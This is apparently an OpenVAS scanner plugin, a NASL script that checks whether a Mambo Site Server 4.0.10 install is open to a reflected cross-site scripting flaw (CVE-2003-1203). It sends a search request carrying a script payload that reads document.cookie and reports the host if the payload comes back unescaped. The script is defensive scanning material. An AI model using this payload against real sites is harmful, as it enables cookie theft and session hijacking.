Mambo Site Server 4.0.10 XSS

2005-11-03T00:00:00
ID OPENVAS:136141256231011441
Type openvas
Reporter This script is Copyright (C) 2003 k-otik.com
Modified 2018-12-18T00:00:00

Description

An attacker may use the installed version of Mambo Site Server to perform a cross site scripting attack on this host.

                                        
                                            # OpenVAS Vulnerability Test
# $Id: mambo_xss.nasl 12818 2018-12-18 09:55:03Z ckuersteiner $
# Description: Mambo Site Server 4.0.10 XSS
#
# Authors:
# K-Otik.com <ReYn0@k-otik.com>
# Updated: 04/07/2009
# Antu Sanadi <santu@secpod.com>
#
# Copyright:
# Copyright (C) 2003 k-otik.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

CPE = "cpe:/a:mambo-foundation:mambo";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11441");
  script_version("$Revision: 12818 $");
  script_tag(name:"last_modification", value:"$Date: 2018-12-18 10:55:03 +0100 (Tue, 18 Dec 2018) $");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2003-1203");
  script_bugtraq_id(7135);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_name("Mambo Site Server 4.0.10 XSS");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_family("Web application abuses");
  script_copyright("This script is Copyright (C) 2003 k-otik.com");
  script_dependencies("mambo_detect.nasl", "cross_site_scripting.nasl");
  script_mandatory_keys("mambo_cms/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Upgrade to a newer version.");

  script_tag(name:"summary", value:"An attacker may use the installed version of Mambo Site Server to
  perform a cross site scripting attack on this host.");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/index.php?option=search&searchword=<script>alert(document.cookie);</script>";
req = http_get(item:url, port:port);
resp = http_keepalive_send_recv(port:port, data:req);

if(!resp)
  exit(0);

if(resp =~ "HTTP/1\.. 200" && "<script>alert(document.cookie);</script>" >< resp) {
  security_message(port);
  exit(0);
}

exit(99);